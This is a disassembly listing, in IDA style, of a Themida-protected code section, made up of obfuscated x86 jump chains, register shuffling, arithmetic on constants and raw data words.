		dd 85E9242Ch, 86FFFFD3h, 86D3F6DEh, 1DCE80DEh, 840FE6D0h
		dd 0FFFF5EFCh, 0FA8C680h, 0FFA98982h, 0E95251FFh, 0FFFF7065h
		dd 62AE9h, 3E6C000h, 0F03E6C0h,	0FFDEB984h, 4EEC0FFh, 0A4D850Fh
		dd 0F6800000h, 5AF7884Ch, 0EFD0DFF6h, 0F381C98Bh, 18BC5B2Fh
		dd 70888D0Fh, 0EBC1FFFFh, 0EDC8E905h, 0E952FFFFh, 0FFFF6A7Ah
; ---------------------------------------------------------------------------


loc_596914:				; CODE XREF: Themida_:0059802Bj
		mov	[esp], edx
		push	esi
		push	edx
		push	6A5C0D21h
		jmp	loc_591866
; ---------------------------------------------------------------------------


loc_596923:				; CODE XREF: Themida_:0058CB0Dj
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_596928:				; CODE XREF: Themida_:005948DAj
		add	ebp, eax
		add	ebp, 68B54411h
		pop	eax
		push	edx
		mov	edx, 4
		add	ebp, 40476E9Ah
		add	ebp, edx
		sub	ebp, 40476E9Ah
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	551Ch
		jmp	loc_590E5C
; ---------------------------------------------------------------------------
		dw 148Bh
aWichvq		db '$W‰ηhVQ',0
		dd 24148900h, 0FF39E7E9h, 0CFBD55FFh, 814C374Fh, 0C8B035C5h
		dd 5DEE01B3h, 334E9h, 527EBD00h, 6C013A87h, 8FE90424h
		dd 89FFFFD9h, 5D5AE9E6h, 0C480FFFFh, 100AE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59699A:				; CODE XREF: Themida_:0058BF13j
		push	esi
		jmp	loc_594FE9
; ---------------------------------------------------------------------------
		dd 9D24F681h, 5668A472h, 8900005Bh, 0C2E92434h,	56FFFF4Fh
		dd 0E92414F7h, 0FFFF5C7Fh
; ---------------------------------------------------------------------------


loc_5969BC:				; CODE XREF: Themida_:00597F3Ej
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 38D300Eh
		inc	esi
		push	5D3Ah
		mov	[esp], eax
		push	esi
		push	27BA1453h
		jmp	loc_58B92E
; ---------------------------------------------------------------------------


loc_5969EA:				; CODE XREF: Themida_:0058DED3j
		add	ebx, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_597D1F
; ---------------------------------------------------------------------------
		db 89h
		dd 468242Ch, 5D000000h,	0ACE9EF01h, 80FFFF9Fh, 0EB884DC5h
		dd 0FF9E8CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596A1D:				; CODE XREF: Themida_:0058B37Ej
		push	dx
		mov	dl, 1Fh
		xor	bh, dl
		pop	dx
		push	48D3h
		jmp	loc_5975AC
; ---------------------------------------------------------------------------
		db 66h
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 3DE43D4Ah
		inc	edx
		add	edx, 0E79D1799h
		jmp	loc_597123
; ---------------------------------------------------------------------------
		dd 0E9515B5Fh, 0FFFFFC69h
; ---------------------------------------------------------------------------


loc_596A6C:				; CODE XREF: Themida_:0058F21Aj
		and	al, dh
		jmp	loc_5907FE
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FF8D9EE9h, 48B66FFh, 7B826824h, 98E90000h, 5EFFFFBFh
		dd 0FFBA0BE9h, 0E9E3B5FFh, 0FFFFC7E5h
; ---------------------------------------------------------------------------


loc_596A94:				; CODE XREF: Themida_:00592E24j
		mov	ecx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5937D7
; ---------------------------------------------------------------------------


loc_596AAC:				; CODE XREF: Themida_:00594895j
		pop	edx
		jmp	loc_58BDBD
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 24248B24h, 0FE930FFh, 81FFFF38h, 350CFBC5h, 5DEE29C7h
		dd 5DE9CE29h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596ACF:				; CODE XREF: Themida_:00594AACj
		add	ebp, 76162828h
		jmp	loc_59593B
; ---------------------------------------------------------------------------


loc_596ADA:				; CODE XREF: Themida_:00597EB3j
		jmp	loc_595BE8
; ---------------------------------------------------------------------------


loc_596ADF:				; CODE XREF: Themida_:0058D42Fj
		push	esi
		mov	esi, 57BE1A7Dh
		jmp	loc_58CDEC
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 9B04B304h, 0E9B0B753h, 0FFFF3E17h, 4BDh, 94BA5200h
		dd 81027326h, 5B08CEF2h, 40A86823h, 2C890000h, 2AA6BD24h
		dd 0EA0978ADh, 81DAF75Dh, 6C7135CAh, 98C28115h,	1A10076h
		dd 20E95AD1h
		db 3Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596B2F:				; CODE XREF: Themida_:0058DF1Bj
		xor	ebx, 4FF0D73h
		shr	ebx, 4
		not	ebx
		add	ebx, 148892A9h
		xor	ebx, esi
		xor	esi, ebx
		jmp	loc_591970
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 44C68h, 242C8900h, 0FF80FBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596B5D:				; CODE XREF: Themida_:00590933j
		mov	esp, [esp]
		mov	[esp], edi
		xor	dword ptr [esp], offset	word_4D744E
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, offset word_4D744E
		xor	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	edi
		jmp	loc_597396
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0FF58E9B3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596B92:				; CODE XREF: Themida_:0058CECAj
		mov	eax, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_592A0C
; ---------------------------------------------------------------------------


loc_596BA6:				; CODE XREF: Themida_:005927C8j
		mov	esi, 5E62039Ch
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 6ED403E0h
		shr	edi, 6
		jmp	loc_58A7F9
; ---------------------------------------------------------------------------


loc_596BBC:				; CODE XREF: Themida_:0058DCC3j
		pop	ecx
		sub	ebp, 30103AF3h
		add	ebp, edx
		jmp	loc_58A806
; ---------------------------------------------------------------------------


loc_596BCA:				; CODE XREF: Themida_:0058F989j
		mov	ebp, ebx
		jmp	loc_58F572
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 0E9h
		dd 0FFFF3930h, 525905BEh, 2474015Dh, 0AD80E908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596BE6:				; CODE XREF: Themida_:0058B84Fj
		mov	ebx, 621874E6h
		add	edx, ebx
		pop	ebx
		push	eax
		jmp	loc_58CF15
; ---------------------------------------------------------------------------


loc_596BF4:				; CODE XREF: Themida_:00592464j
		add	eax, 3EBB71EBh
		jmp	loc_5960FD
; ---------------------------------------------------------------------------


loc_596BFE:				; CODE XREF: Themida_:00591077j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_592C84
; ---------------------------------------------------------------------------
		db 58h
		dd 0D6F6CEFEh, 8105E6C0h, 4ECh,	7D60E900h, 0F66FFFFh, 5166C8AFh
		dd 369CE99Ch, 3C89FFFFh, 2A29BF24h, 0FE31702Ah,	0FFEE815Fh
		dd 81FFFFFFh, 333FDFEEh, 0E73E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_596C4E:				; CODE XREF: Themida_:0058CC35j
		pop	eax
		sub	bh, 73h
		push	cx
		mov	cl, 1Fh
		xor	bh, cl
		jmp	loc_58EB86
; ---------------------------------------------------------------------------
		db 66h,	58h, 66h
		dd 6649D468h, 68240489h, 11C7h,	52240C89h, 1B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_596C75:				; CODE XREF: Themida_:00591AFDj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 675C3153h
		jmp	loc_58B2CF
; ---------------------------------------------------------------------------


loc_596C87:				; CODE XREF: Themida_:00596738j
		mov	[esp], edx
		jmp	loc_596D0E
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 240C8900h, 0FF5C00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596CA1:				; CODE XREF: Themida_:005947E5j
		push	ebx
		mov	bl, 1Ch
		not	bl
		jmp	loc_592F53
; ---------------------------------------------------------------------------


loc_596CAB:				; CODE XREF: Themida_:0058D190j
		pop	ecx
		jmp	loc_58DA3B
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 4
		dd 68000000h, 1F5h, 0FFF0A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596CC1:				; CODE XREF: Themida_:00597F5Cj
		mov	[esp], esi
		jmp	loc_5943BF
; ---------------------------------------------------------------------------


loc_596CC9:				; CODE XREF: Themida_:005907F9j
		pop	edi
		push	ebp
		mov	ebp, 3F3F21CFh
		add	ebp, 0D464851h
		xor	ebp, 4C856A24h
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_58FC27
; ---------------------------------------------------------------------------


loc_596CEF:				; CODE XREF: Themida_:0059649Fj
		not	ebp
		jmp	loc_58FB66
; ---------------------------------------------------------------------------


loc_596CF6:				; CODE XREF: Themida_:0058C8D6j
		push	edx
		push	0A5C0167h
		pop	edx
		not	edx
		jmp	loc_592EC5
; ---------------------------------------------------------------------------


loc_596D04:				; CODE XREF: Themida_:0058DF72j
		mov	esi, 75D17666h
		jmp	loc_58AFF5
; ---------------------------------------------------------------------------


loc_596D0E:				; CODE XREF: Themida_:00596C8Aj
		push	esp
		jmp	loc_593165
; ---------------------------------------------------------------------------
		dd 0E932FF64h, 0FFFF35B2h, 5C241C33h, 0E9242489h, 0FFFFB1FAh
; ---------------------------------------------------------------------------


loc_596D28:				; CODE XREF: Themida_:0058AD00j
		push	3185h
		mov	[esp], eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 0D1h, 0EDh, 0E9h
		dd 0FFFFF2F1h, 0E98068B1h, 59CA88D4h, 148BD130h, 0B1AEE924h
		dd 8B54FFFFh, 8956241Ch, 4C681E6h, 83000000h, 348704C6h
		dd 0C3815C24h, 4, 1514BF57h, 0C78145FFh, 4A244E96h, 0FFAA6AE9h
		dd 25ED81FFh, 17579B7h,	0C3815DE8h, 49C54DB2h, 76C7C381h
		dd 0C30171D3h, 76C7EB81h, 0EC8171D3h, 4, 0BE243489h, 49C54DB2h
		dd 0FFCD31E9h, 0FCBE56FFh, 0E927C343h, 0FFFFEE34h, 8BE95F5Ah
		dd 8FFFFF99h, 248B2404h, 4C48324h, 9C240409h, 0FF3501E9h
		dd 241489FFh, 0C72BB5BAh, 101BE911h, 0E95C0000h, 396h
		dd 24048B66h, 56D1E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596DEA:				; CODE XREF: Themida_:0058CCB2j
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edi
		jmp	loc_592B57
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 0D2B02D40h, 0C601BD06h, 5124048Bh, 0C1815954h, 4, 8704C183h
		dd 0FBE9240Ch, 88FFFFF9h, 5AF788E6h, 3C865866h,	8EFDE924h
		dd 8850FFFFh, 934E9FCh,	95F0000h, 34FF1C77h, 5E7E924h
		dd 805A0000h, 9FE965C1h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596E43:				; CODE XREF: Themida_:00590540j
		mov	edi, 2
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		jmp	loc_58FD28
; ---------------------------------------------------------------------------
		dw 0EC88h
		dd 0FFD714E9h, 5E0C1FFh, 0E8C1D8F7h, 7D0A3502h,	0E9813C26h
		dd 44DB1980h, 0C181C101h, 44DB1980h, 0FFD34BE9h, 241CF7FFh
		dd 0E924348Bh, 5BAh, 46EA8166h,	0D001669Ch, 0EA81665Ah
		dd 29660147h, 0C28166C2h, 66580147h, 661C2E05h,	0E93C8B2Dh
		dd 0FFFF5B9Bh, 24148966h, 0E953B353h, 0FFFF60A5h
; ---------------------------------------------------------------------------


loc_596EB8:				; CODE XREF: Themida_:0058F08Cj
		push	ebx
		mov	ebx, 4
		jmp	loc_5903C7
; ---------------------------------------------------------------------------


loc_596EC3:				; CODE XREF: Themida_:00596679j
		mov	ebx, 23A0077h
		add	eax, ebx
		pop	ebx
		sub	eax, 1220BF9h
		add	eax, ebp
		add	eax, 1220BF9h
		push	ebx
		mov	ebx, 23A0077h
		sub	eax, ebx
		pop	ebx
		pop	ebp
		mov	ebx, eax
		jmp	loc_58ADEC
; ---------------------------------------------------------------------------


loc_596EE8:				; CODE XREF: Themida_:00597545j
		pop	ebx
		xor	ebp, eax
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 1Ch
		add	edx, edi
		push	dword ptr [edx]
		jmp	loc_594C3C
; ---------------------------------------------------------------------------
		db 55h
		dd 0FFD6E5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596F09:				; CODE XREF: Themida_:0058FED4j
		mov	edx, ebp
		pop	ebp
		add	edx, 1
		jmp	loc_58DCE7
; ---------------------------------------------------------------------------


loc_596F17:				; CODE XREF: Themida_:00595C96j
		jno	loc_58E5FA
		push	edx
		mov	dl, 0D7h
		add	bl, dl
		pop	edx
		add	bl, 0E8h
		push	ecx
		mov	ax, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 2
		jmp	loc_58B4E8
; ---------------------------------------------------------------------------
		dd 2C28358h, 8B241487h,	4282424h, 8E99C24h, 81FFFFF9h
		dd 4C4h, 0BF96800h, 21E90000h, 0D100000Eh, 0F9F181E1h
		dd 8165C202h, 2E8A24C1h, 0E9CA0128h, 0FFFF4D1Fh, 0BBA2E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596F86:				; CODE XREF: Themida_:0058C5F5j
					; Themida_:00592F6Ej
		xor	ebx, 703859EDh
		shr	ebx, 7
		jnz	loc_58C630
		xor	ebx, 6B84F12Bh
		jmp	loc_58CBB7
; ---------------------------------------------------------------------------
		dd 0E289E08Ah, 4C281h, 0C2810000h, 4, 5C241487h, 7C1868h
		dd 24048900h, 4EC81h, 24890000h, 4BE5624h, 0E9000000h
		dd 0FFFFAEDBh, 240C8B66h, 68E08950h, 2DC1h, 0B9240C89h
		dd 4, 34FFC801h, 9D59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596FEE:				; CODE XREF: Themida_:00594F1Dj
		mov	al, 0D5h
		jmp	loc_597F61
; ---------------------------------------------------------------------------


loc_596FF5:				; CODE XREF: Themida_:0059015Ej
		xor	eax, 663D227Ah
		add	ecx, eax
		pop	eax
		add	ecx, 357F3E30h
		push	675Bh
		mov	[esp], ebp
		mov	ebp, 38213202h
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 77496B4Eh
		push	ecx
		push	ebx
		mov	ebx, 173129F2h
		neg	ebx
		jnz	loc_591573
		shl	ebx, 2
		and	ebx, 25C8004Ch
		mov	dh, 51h


loc_597037:				; CODE XREF: Themida_:00590EE3j
					; Themida_:00591384j
		pop	ebx
		jmp	loc_590A17
; ---------------------------------------------------------------------------


loc_59703D:				; CODE XREF: Themida_:00597FE6j
		sub	edi, 0C0E3F7C9h
		jmp	loc_58C413
; ---------------------------------------------------------------------------


loc_597048:				; CODE XREF: Themida_:00595CE6j
		push	esi
		mov	esi, 64F611C8h
		push	eax
		mov	eax, 91E28D7h
		not	eax
		jmp	loc_58CA3D
; ---------------------------------------------------------------------------
		align 4
		dd 3DD8E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597062:				; CODE XREF: Themida_:00594B38j
		push	edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, ch
		push	ecx
		mov	ch, al
		jmp	loc_591B43
; ---------------------------------------------------------------------------


loc_597076:				; CODE XREF: Themida_:0058B6BBj
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_590072
; ---------------------------------------------------------------------------


loc_597091:				; CODE XREF: Themida_:00597161j
		mov	ecx, 1C04258Eh
		jmp	loc_58BF59
; ---------------------------------------------------------------------------


loc_59709B:				; CODE XREF: Themida_:0058E1F6j
		xor	ecx, eax
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_594440
; ---------------------------------------------------------------------------


loc_5970B0:				; CODE XREF: Themida_:00597478j
		push	edx
		jmp	loc_590512
; ---------------------------------------------------------------------------
		dw 483h
		dd 5EE90424h, 54FFFFBBh, 4C6815Eh, 83000000h, 0D7E904C6h
		dd 83FFFF4Eh, 0FF5304C3h, 8B042474h, 0C481241Ch, 4, 5C24048Fh
		dd 9CE9h, 35D0F700h, 33461978h,	0E3B7850Fh, 0CD05FFFFh
		dd 897A53A2h, 45258C6h,	0BE0F5C44h, 3A2FE9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59710A:				; CODE XREF: Themida_:00591FF8j
		mov	ebp, 0E7655502h
		xor	ecx, ebp
		jmp	loc_58F4AC
; ---------------------------------------------------------------------------


loc_597116:				; CODE XREF: Themida_:00595259j
		mov	ebp, 9061188h
		shr	ebp, 1
		push	ebp
		jmp	loc_58DFC2
; ---------------------------------------------------------------------------


loc_597123:				; CODE XREF: Themida_:00596A5Fj
		mov	eax, edx
		pop	edx
		jmp	loc_597B57
; ---------------------------------------------------------------------------
		db 1
		dd 0B645E9D0h, 0BE56FFFFh, 0B0104A7h, 24348156h, 1ED154E1h
		dd 0E1F5815Dh, 8B1ED154h, 0C4812434h, 4, 8958C531h, 0EBA3E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59715A:				; CODE XREF: Themida_:00595DB9j
		push	esi
		mov	esi, 1379189Ch
		push	ecx
		jmp	loc_597091
; ---------------------------------------------------------------------------


loc_597166:				; CODE XREF: Themida_:00594603j
		pop	ebx
		jmp	loc_58EBDE
; ---------------------------------------------------------------------------


loc_59716C:				; CODE XREF: Themida_:0058B98Dj
		mov	eax, edx
		mov	edx, [esp]
		jmp	loc_592427
; ---------------------------------------------------------------------------
		dw 8F54h
		dd 4832404h, 53580424h,	0FF45BFE9h, 258868FFh, 0C890000h
		dd 53595424h, 0F47C81BBh, 0D1C3814Bh, 0E95F8601h, 0FFFFE95Eh
; ---------------------------------------------------------------------------


loc_5971A0:				; CODE XREF: Themida_:0058CCF6j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	4CDDh
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_58E3DD
; ---------------------------------------------------------------------------


loc_5971BC:				; CODE XREF: Themida_:00596794j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		db 5Fh,	0C1h, 0EEh
		dd 6B7CE905h, 0CD2FFFFh, 0FBE99C24h, 0E9FFFF30h, 513h
		dd 52D830ACh, 8904EC83h, 0EBB42404h, 0FE03E4C0h, 2ECC0CCh
		dd 0E91EEC80h, 0FFFF8442h
; ---------------------------------------------------------------------------


loc_5971F4:				; CODE XREF: Themida_:0058F7A0j
		add	esp, 2
		sub	bl, 35h
		sub	bl, al
		add	bl, 35h
		push	ecx
		mov	cl, 83h
		shr	cl, 2
		not	cl
		jmp	loc_596445
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7061762Dh, 1C8BDD89h, 4C48124h, 81000000h, 0C718D9CDh
		dd 0E9E5D163h, 0FFFF8ADDh
; ---------------------------------------------------------------------------


loc_59722C:				; CODE XREF: Themida_:005929C3j
		mov	esp, [esp]
		push	esi
		mov	esi, 442000D6h
		jmp	loc_58DA5E
; ---------------------------------------------------------------------------
		dw 5568h
		dd 58529846h, 74973548h, 8B0F0C4Ch, 0FFFF9543h,	1691BE56h
		dd 0E6814216h, 4C635499h, 48E9EED1h, 5BFFFFD2h,	4BA52h
		dd 0D3010000h, 0FF6A92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59726D:				; CODE XREF: Themida_:005934CCj
		add	edx, 0FE089FAAh
		jmp	loc_594DA9
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF3046h, 5DE8015Eh
		dd 867E9h
		db 0
; ---------------------------------------------------------------------------


loc_597291:				; CODE XREF: Themida_:005937DBj
		push	cx
		pushf
		jmp	loc_58EE52
; ---------------------------------------------------------------------------


loc_597299:				; CODE XREF: Themida_:0058C418j
		add	esp, 4
		jmp	loc_58BB9C
; ---------------------------------------------------------------------------


loc_5972A4:				; CODE XREF: Themida_:0058E525j
		add	eax, edi
		sub	eax, 157A4D65h
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_58AFEA
; ---------------------------------------------------------------------------


loc_5972BC:				; CODE XREF: Themida_:0058E0C6j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59000C
; ---------------------------------------------------------------------------
		dw 0CB00h
		dd 240C8B66h, 0ACE95456h, 0BAFFFFF7h, 4D782BD5h, 5FE9D631h
		db 4Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5972E7:				; CODE XREF: Themida_:00594C4Cj
		add	edx, 2DAA71E6h
		xor	edx, 7F1F01DCh
		ja	loc_58B3F0
		jmp	loc_591709
; ---------------------------------------------------------------------------
		dw 29E9h
		dd 87FFFFFFh
		db 0F5h
; ---------------------------------------------------------------------------


loc_597305:				; CODE XREF: Themida_:005966D0j
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 2
		push	edx
		mov	edx, 12C013DCh
		xor	edx, 3D2C239Bh
		dec	edx
		jmp	loc_5956A6
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0B60FC330h, 148B66C0h, 0EC835124h, 0CCE95404h
		dd 80FFFF3Ah, 0F7884CF6h, 0D0DFF65Ah, 0D108E9EFh, 8956FFFFh
		dd 4C681E6h, 68000000h,	2079h, 0BA241489h, 4, 7FE8EE81h
		dd 0C6810539h, 9A24B9Eh, 0EE81D601h, 9A24B9Eh, 7FE8C681h
		dd 148B0539h, 4C48124h,	87000000h, 0E95C2434h, 0FFFF79B7h
		dd 0F608EDC0h, 3274E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597396:				; CODE XREF: Themida_:00596B86j
		mov	edi, esi
		mov	ebx, edi
		pop	edi
		mov	edx, ebx
		pop	ebx
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_58A338
; ---------------------------------------------------------------------------


loc_5973A9:				; CODE XREF: Themida_:0058C733j
		pop	edx
		xor	eax, 1D58DE0Ch
		mov	edi, eax
		mov	eax, [esp]
		jmp	loc_58B0B8
; ---------------------------------------------------------------------------
		db 1, 0CFh, 81h
		dd 9335EAEFh, 4306E94Eh, 815AFFFFh, 0CE6C05E5h,	0D48BE97Bh
		dd 6859FFFFh, 4435h, 0E9242C89h, 0FFFFC672h, 42474FFh
		dd 0FFD5B1E9h, 241C8BFFh, 0FF4513E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5973F1:				; CODE XREF: Themida_:0058D703j
		mov	ebp, 127F78FEh
		sub	ebp, 73971DA8h
		sub	ebp, 787174E7h
		add	ebp, 0E391458Ch
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, eax
		pop	eax
		push	edi
		mov	edi, 4D811A70h
		jmp	loc_58A4AE
; ---------------------------------------------------------------------------
		db 5Eh,	68h, 38h
		dd 89000005h, 0E6892434h, 0FFA7B5E9h, 4C481FFh,	81000000h
		dd 4C7h, 98BFE900h, 0C481FFFFh,	4, 0EE31F531h, 0F581F531h
		dd 670FBF8Ah, 34FFE831h, 242C8B24h, 4C481h, 0EEE90000h
		dd 0FFFFFC2h, 0FFB96A87h, 0FA91E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597472:				; CODE XREF: Themida_:0058EB1Aj
		sub	bl, 0CCh
		sub	bl, 0EAh
		jmp	loc_5970B0
; ---------------------------------------------------------------------------


loc_59747D:				; CODE XREF: Themida_:0058BD54j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8ED08B5h
		add	edi, edx
		pop	edx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 3Ch, 2Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597492:				; CODE XREF: Themida_:0058E324j
		xor	eax, ebx
		pop	ebx
		sub	ebx, 1FD22391h
		add	ebx, 243A6B10h
		add	ebx, eax
		sub	ebx, 243A6B10h
		push	0C4Ah
		mov	[esp], edx
		mov	edx, 798E09D8h
		push	5E15h
		jmp	loc_58B398
; ---------------------------------------------------------------------------


loc_5974C0:				; CODE XREF: Themida_:00595412j
					; Themida_:005955B1j
		shr	ah, 3
		xchg	bh, ah
		neg	bh
		xchg	bh, ah
		not	ah
		neg	ah
		sub	ah, 0EFh
		mov	dl, ah
		pop	eax
		mov	cl, dl
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 0D8h
		xor	cl, dl
		pop	dx
		sub	al, 8Eh
		add	al, cl
		push	cx
		mov	ch, 8Eh
		add	al, ch
		pop	cx
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, 0A4h
		or	cl, 5Dh
		jmp	loc_58AD69
; ---------------------------------------------------------------------------
		dw 8952h
		dd 0B7BDE9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59750E:				; CODE XREF: Themida_:0059340Dj
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 7B427C6Fh
		shl	eax, 7
		push	eax
		xchg	eax, [esp]
		xchg	eax, esi
		not	esi
		xchg	eax, esi
		xchg	eax, [esp]
		pop	eax
		or	eax, 67A14A36h
		or	eax, 45414541h
		shl	eax, 5
		push	7CFCh
		mov	[esp], ebx
		mov	ebx, 7EB65C9Bh
		add	eax, ebx
		jmp	loc_596EE8
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 83000000h,	0C8704E9h, 14895C24h, 2E68BA24h
		dd 0D8E9474Eh, 5DFFFF99h, 815AD601h, 4C6h, 7EE95600h
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_597577:				; CODE XREF: Themida_:0058F529j
		mov	[esp], ebx
		jmp	loc_5975C4
; ---------------------------------------------------------------------------


loc_59757F:				; CODE XREF: Themida_:0058BEF1j
		pop	esp
		push	edx
		jmp	loc_5953CC
; ---------------------------------------------------------------------------
		dw 9CB9h
		dd 217E7E08h, 0CD8159CDh, 67555DFAh, 0FFFFBB53h, 0DD29FFFFh
		dd 0FFB55FE9h, 0B8F381FFh, 0E971482Eh, 0FFFF99E2h
; ---------------------------------------------------------------------------


loc_5975AC:				; CODE XREF: Themida_:00596A2Aj
		mov	[esp], edx
		mov	dh, 0D1h
		sub	bh, dh
		jmp	loc_59493C
; ---------------------------------------------------------------------------
		dd 6E43E581h, 0E9452A7Ah, 0FFFF8BA4h
; ---------------------------------------------------------------------------


loc_5975C4:				; CODE XREF: Themida_:0058D3C1j
					; Themida_:0059757Aj
		xor	dword ptr [esp], 0A7079D3h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_592FE8
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 27h
		dd 0C11D2860h, 0DAF702EAh, 0B978E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5975EA:				; CODE XREF: Themida_:0058BA9Fj
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 80h
		mov	edx, eax
		pop	eax
		and	ecx, edx
		mov	edx, [esp]
		jmp	loc_58F836
; ---------------------------------------------------------------------------


loc_597613:				; CODE XREF: Themida_:00593C09j
		shr	ebp, 6
		sub	ebp, 5C2350DCh
		xor	ebp, 0A4B4555Bh
		add	edx, ebp
		pop	ebp
		add	edx, 4
		jmp	loc_595C88
; ---------------------------------------------------------------------------


loc_59762D:				; CODE XREF: Themida_:00593981j
		push	ebx
		push	ecx
		jmp	loc_5960A3
; ---------------------------------------------------------------------------


loc_597634:				; CODE XREF: Themida_:0058F60Fj
		not	ebp
		neg	ebp
		xor	ebp, 0C81805h
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_596411
; ---------------------------------------------------------------------------


loc_597648:				; CODE XREF: Themida_:005964E0j
		add	eax, edx
		add	eax, 29835A61h
		pop	edx
		push	edx
		mov	edx, 2
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_592EFC
; ---------------------------------------------------------------------------
		dd offset dword_49005C+2AA0Ch
		dd 241C8900h, 89E93BB3h, 66FFFF2Eh, 5024048Bh, 405E089h
		dd 83000000h, 48704E8h,	1C895C24h, 815B5424h, 4C3h, 7418E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59769A:				; CODE XREF: Themida_:0058A3DBj
		pop	ebp
		xor	esi, ebx
